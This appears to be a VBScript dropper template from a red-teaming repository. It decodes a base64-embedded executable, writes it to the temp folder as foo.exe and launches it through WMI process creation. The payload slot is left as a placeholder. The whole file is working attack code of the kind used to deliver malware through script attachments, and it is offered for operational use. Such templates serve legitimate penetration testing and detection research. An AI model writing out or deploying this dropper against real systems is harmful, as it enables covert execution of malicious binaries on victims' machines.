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mgeeky-Penetration-Testing-.../red-teaming/code-exec-templates/drop-binary-file-and-launch.vbs

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'
' Example of dropping an embedded, base64 encoded binary file to the disk,
' decoding it and then launching.
'
' Mariusz B. / mgeeky, <mb@binary-offensive.com>
' (https://github.com/mgeeky)
'
saveFileAs = "%TEMP%\foo.exe"
launchParameters = ""
' =============================================================
fileBuffer = "<PASTE-HERE-YOUR-BASE64-ENCODED-BLOB>"
' =============================================================
Function Base64Decode(ByVal vCode)
Set oNode = CreateObject("Msxml2.DOMDocument.3.0").CreateElement("base64")
oNode.dataType = "bin.base64"
oNode.text = vCode
Base64Decode = oNode.nodeTypedValue
Set oNode = Nothing
End Function
Dim sh: Set sh = CreateObject("WScript.Shell")
out = sh.ExpandEnvironmentStrings(saveFileAs)
With CreateObject("Adodb.Stream")
.Open
.Type = 1
.write Base64Decode(fileBuffer)
.savetofile out, 2
End With
computer = "."
Set wmi = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" _
& computer & "\root\cimv2")
Set startup = wmi.Get("Win32_ProcessStartup")
Set conf = startup.SpawnInstance_
conf.ShowWindow = 12
Set proc = GetObject("winmgmts:root\cimv2:Win32_Process")
command = out & " " & launchParameters
proc.Create command, Null, conf, intProcessID